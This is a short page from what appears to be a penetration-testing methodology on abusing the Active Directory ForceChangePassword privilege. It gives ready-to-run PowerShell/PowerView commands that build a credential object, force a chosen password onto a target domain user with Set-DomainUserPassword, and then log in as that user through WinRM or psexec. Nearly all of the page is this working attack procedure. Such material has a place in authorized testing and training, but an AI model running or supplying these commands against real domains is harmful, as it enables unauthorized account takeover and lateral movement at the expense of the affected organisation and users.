> For the complete documentation index, see [llms.txt](https://lyethar.gitbook.io/methodology/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lyethar.gitbook.io/methodology/readme/active-directory/exploitation/force-change-password.md).

# Force Change Password

If we have the Force Change password privilege over a user, we can do exactly that. We can change the password of the user and then later run commands as that user. 

![](https://3418038199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyTPWZkKJbJfX8uHiRzmn%2Fuploads%2FkReTatQ16NBoxln4RCWi%2Fimage.png?alt=media\&token=66d6ad98-6848-467f-a4aa-ea937bb939c9)

#### Provided my password first <a href="#provided-my-password-first" id="provided-my-password-first"></a>

`$SecPassword = ConvertTo-SecureString '<our-users-password>' -AsPlainText -Force`

#### Then Our creds <a href="#then-our-creds" id="then-our-creds"></a>

`$Cred = New-Object System.Management.Automation.PSCredential('<domain.name>\<our current user>', $SecPassword)`

Then  we specify the password we want to force on our target user&#x20;

$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force

Then finally&#x20;

```
Set-DomainUserPassword -Identity <user-that-wecan-changepassword> -AccountPassword $UserPassword -Credential $Cred
```

We can log in via winRM, psexec, and see what privileges the user had.&#x20;